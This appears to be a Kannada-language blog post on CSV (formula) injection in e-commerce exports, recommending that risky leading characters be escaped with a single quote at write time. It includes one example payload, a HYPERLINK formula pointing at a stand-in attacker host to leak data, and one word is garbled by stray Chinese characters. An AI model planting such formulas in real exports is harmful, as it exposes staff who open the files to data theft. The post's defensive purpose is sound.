CSV ಇಂಜೆಕ್ಷನ್: ಕೋಡ್ ಅನ್ನು ರನ್ ಮಾಡುವ ಎಕ್ಸ್ಪೋರ್ಟ್ ಬಟನ್
ಒಬ್ಬ ಗ್ರಾಹಕರು ತಮ್ಮ ಹೆಸರನ್ನು ನಮೂದಿಸುತ್ತಾರೆ. ಅವರು =HYPERLINK("http://evil.example/leak", "click") ಎಂದು ಟೈಪ್ ಮಾಡುತ್ತಾರೆ. ನಿಮ್ಮ ಸಿಸ್ಟಮ್ ಅದನ್ನು ಒಪ್ಪಿಕೊಳ್ಳುತ್ತದೆ. ಅದು ಸಾಮಾನ್ಯ ಪಠ್ಯದಂತೆ (plain text) ಕಾಣುತ್ತದೆ.
ವಾರಗಳ ನಂತರ, ನಿಮ್ಮ ಹಣಕಾಸು ತಂಡವು ಗ್ರಾಹಕರ ಪಟ್ಟಿಯನ್ನು CSV ಗೆ ಎಕ್ಸ್ಪೋರ್ಟ್ ಮಾಡುತ್ತದೆ. ಅವರು ಆ ಫೈಲ್ ಅನ್ನು ಎಕ್ಸೆಲ್ನಲ್ಲಿ (Excel) ತೆರೆಯುತ್ತಾರೆ. ಆ ಸೆಲ್ (cell) ಈಗ ಕೇವಲ ಪಠ್ಯವಾಗಿ ಉಳಿಯುವುದಿಲ್ಲ. ಅದು ಒಂದು ಫಾರ್ಮುಲಾ (formula) ಆಗಿ ಬದಲಾಗುತ್ತದೆ.
ಇದನ್ನೇ CSV ಇಂಜೆಕ್ಷನ್ ಎನ್ನಲಾಗುತ್ತದೆ. ಜನರು ಇದನ್ನು ಫಾರ್ಮುಲಾ ಇಂಜೆಕ್ಷನ್ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ. ಇದು ಇ-ಕಾಮರ್ಸ್ ಪ್ಯಾನಲ್ಗಳಲ್ಲಿ ಕಂಡುಬರುವ ಸಾಮಾನ್ಯ ಬಗ್ (bug). ಹೆಚ್ಚಿನ ತಂಡಗಳು ಇದರ ಬಗ್ಗೆ ಪರೀಕ್ಷೆ ಮಾಡುವುದಿಲ್ಲ.
ಸ್ಪ್ರೆಡ್ಶೀಟ್ ಅಪ್ಲಿಕೇಶನ್ಗಳು ಪ್ರತಿಯೊಂದು ಸೆಲ್ ಅನ್ನು ಪಠ್ಯ ಎಂದು ಪರಿಗಣಿಸುವುದಿಲ್ಲ. ಒಂದು ಸೆಲ್ =, +, -, ಅಥವಾ @ ಇಂದ ಪ್ರಾರಂಭವಾದರೆ, ಎಕ್ಸೆಲ್ ಅಥವಾ ಗೂಗಲ್ ಶೀಟ್ಸ್ ಅದನ್ನು ಫಾರ್ಮುಲಾ ಎಂದು ಓದುತ್ತದೆ.
ಒಂದು ಫಾರ್ಮುಲಾ ಕೇವಲ ಗಣಿತಕ್ಕಿಂತ ಹೆಚ್ಚಿನದನ್ನು ಮಾಡಬಲ್ಲದು. ಅದು ಒಂದು URL ಅನ್ನು ರಚಿಸಬಹುದು. ಅದು ನೆಟ್ವರ್ಕ್ಗೆ ಸಂಪರ್ಕ ಸಾಧಿಸಬಹುದು. ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ, ಅದು ಕಂಪ್ಯೂಟರ್ನಲ್ಲಿ ಕಮಾಂಡ್ಗಳನ್ನು ರನ್ ಮಾಡಬಹುದು.
ನಿಮ್ಮ ಡೇಟಾಬೇಸ್ನಲ್ಲಿ ಡೇಟಾ ಪಠ್ಯವಾಗಿಯೇ ಇರುತ್ತದೆ. ಆದರೆ ಒಬ್ಬ ಮನುಷ್ಯ ಆ ಫೈಲ್ ಅನ್ನು ತೆರೆದ ತಕ್ಷಣ ಅದು ಎಕ್ಸಿಕ್ಯೂಟಬಲ್ (executable) ಆಗುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ, ಹೆಚ್ಚಿನ ಪ್ರವೇಶ ಮಟ್ಟವನ್ನು (high access levels) ಹೊಂದಿರುವ ಸಿಬ್ಬಂದಿಯೇ ಇದರ ಬಲಿಪಶ成为ತ್ತಾರೆ.
ನೀವು ಬಳಕೆದಾರರ ಡೇಟಾವನ್ನು ಎಕ್ಸ್ಪೋರ್ಟ್ ಮಾಡುವ ಯಾವುದೇ ಕಡೆ ಅಪಾಯದಲ್ಲಿದ್ದೀರಿ:
- ಗ್ರಾಹಕರ ಹೆಸರು ಮತ್ತು ವಿಳಾಸದ ಎಕ್ಸ್ಪೋರ್ಟ್ಗಳು
- CSV ಗೆ ಎಕ್ಸ್ಪೋರ್ಟ್ ಮಾಡಲಾದ ಆರ್ಡರ್ ಗ್ರಿಡ್ಗಳು
- ವೆಂಡರ್ಗಳಿಂದ ಬರುವ ಪ್ರಾಡಕ್ಟ್ ಫೀಡ್ಗಳು
- ಕಾಂಟ್ಯಾಕ್ಟ್ ಫಾರ್ಮ್ ಡಂಪ್ಗಳು
ದಾಳಿಕೋರನಿಗೆ (attacker) ಅಡ್ಮಿನ್ ಪ್ರವೇಶದ ಅಗತ್ಯವಿಲ್ಲ. ಅವರು ತಮ್ಮ ಹೆಸರನ್ನು ಫಾರ್ಮುಲಾ ಆಗಿ ಸೆಟ್ ಮಾಡಿ ಕಾಯುತ್ತಾರೆ.
ಇನ್ಪುಟ್ ವ್ಯಾಲಿಡೇಶನ್ (input validation) ಸಮಯದಲ್ಲಿ ಇದನ್ನು ಸರಿಪಡಿಸಲು ಪ್ರಯತ್ನಿಸಬೇಡಿ. ಸ್ಪ್ರೆಡ್ಶೀಟ್ ಅದನ್ನು ಓದುವವರೆಗೆ ಆ ಮೌಲ್ಯವು ಕಾನೂನುಬದ್ಧ ಪಠ್ಯವಾಗಿರುತ್ತದೆ. ಬದಲಾಗಿ, ನೀವು CSV ಫೈಲ್ ಅನ್ನು ಬರೆಯುವಾಗ ಡೇಟಾವನ್ನು ಸ್ಯಾನಿಟೈಸ್ (sanitize) ಮಾಡಿ.
ಒಂದು ಸೆಲ್ =, +, -, @, ಟ್ಯಾಬ್ (tab), ಅಥವಾ ಕ್ಯಾರಿಯೇಜ್ ರಿಟರ್ನ್ (carriage return) ಇಂದ ಪ್ರಾರಂಭವಾದರೆ, ಅದರ ಮುಂದೆ ಒಂದು ಸಿಂಗಲ್ ಕೋಟ್ (') ಸೇರಿಸಿ.
ಉದಾಹರಣೆಯ ತರ್ಕ (Example logic):
If the value starts with a trigger character, return "'" + value.
ಸಿಂಗಲ್ ಕೋಟ್ ಸ್ಪ್ರೆಡ್ಶೀಟ್ಗೆ ಆ ಸೆಲ್ ಅನ್ನು ಪಠ್ಯ ಎಂದು ಪರಿಗಣಿಸಲು ಸೂಚಿಸುತ್ತದೆ. ಸ್ಪ್ರೆಡ್ಶೀಟ್ ಆ ಕೋಟ್ ಅನ್ನು ಬಳಕೆದಾರರಿಂದ ಮರೆಮಾಚುತ್ತದೆ. ಪ್ರತಿಯೊಂದು ಫೀಲ್ಡ್ ಫೈಲ್ಗೆ ಸೇರುವ ಮೊದಲು ಈ ಪರಿಶೀಲನೆಯ ಮೂಲಕ ಹಾದುಹೋಗುವಂತೆ ಮಾಡಿ.
ನಿಮ್ಮ ಡೇಟಾಬೇಸ್ನಲ್ಲಿ ಡೇಟಾವನ್ನು ಎಸ್ಕೇಪ್ (escape) ಮಾಡಬೇಡಿ. ಆ ಮೌಲ್ಯವು ನಿಮ್ಮ ಡೇಟಾಬೇಸ್ನಲ್ಲಿ ಮತ್ತು ನಿಮ್ಮ HTML ನಲ್ಲಿ ಸರಿಯಾಗಿರುತ್ತದೆ. ಅದು ಕೇವಲ CSV ನಲ್ಲಿ ಮಾತ್ರ ಅಪಾಯಕಾರಿಯಾಗಿದೆ. ನಿಮ್ಮ ಡೇಟಾ ಇತರ ಕಡೆಗಳಲ್ಲಿ ಸ್ವಚ್ಛವಾಗಿರಲು CSV ಬೌಂಡರಿಯನ್ನು (boundary) ರಕ್ಷಿಸಿ.
ನಿಮ್ಮ ಆಂತರಿಕ ಎಕ್ಸ್ಪೋರ್ಟ್ಗಳನ್ನು ನಂಬುವುದನ್ನು ನಿಲ್ಲಿಸಿ. ದಾಳಿಕೋರರು ಈ ಫೈಲ್ಗಳ ಮೂಲಕ ನಿಮ್ಮ ಸಿಬ್ಬಂದಿಯನ್ನು ಗುರಿಯಾಗಿಸುತ್ತಾರೆ.
CSV ಇಂಜೆಕ್ಷನ್ ಭಯಾನಕ ಸ್ಕ್ಯಾನರ್ ಅಲರ್ಟ್ಗಳನ್ನು ನೀಡುವುದಿಲ್ಲ. ನೀವು ವರ್ಷಗಳ ಹಿಂದೆ ನಿರ್ಮಿಸಿದ ಎಕ್ಸ್ಪೋರ್ಟ್ ಬಟನ್ನಲ್ಲಿ ಇದು ಅಡಗಿರುತ್ತದೆ. ಈಗಲೇ ನಿಮ್ಮ CSV ಎಕ್ಸ್ಪೋರ್ಟ್ ಕೋಡ್ ಅನ್ನು ಪರಿಶೀಲಿಸಿ. ನೀವು ಪ್ರತಿಯೊಂದು ಸೆಲ್ನ ಮೊದಲ ಕ್ಯಾರೆಕ್ಟರ್ ಅನ್ನು ರಕ್ಷಿಸದಿದ್ದರೆ, ನೀವು ಅಪಾಯದಲ್ಲಿದ್ದೀರಿ.
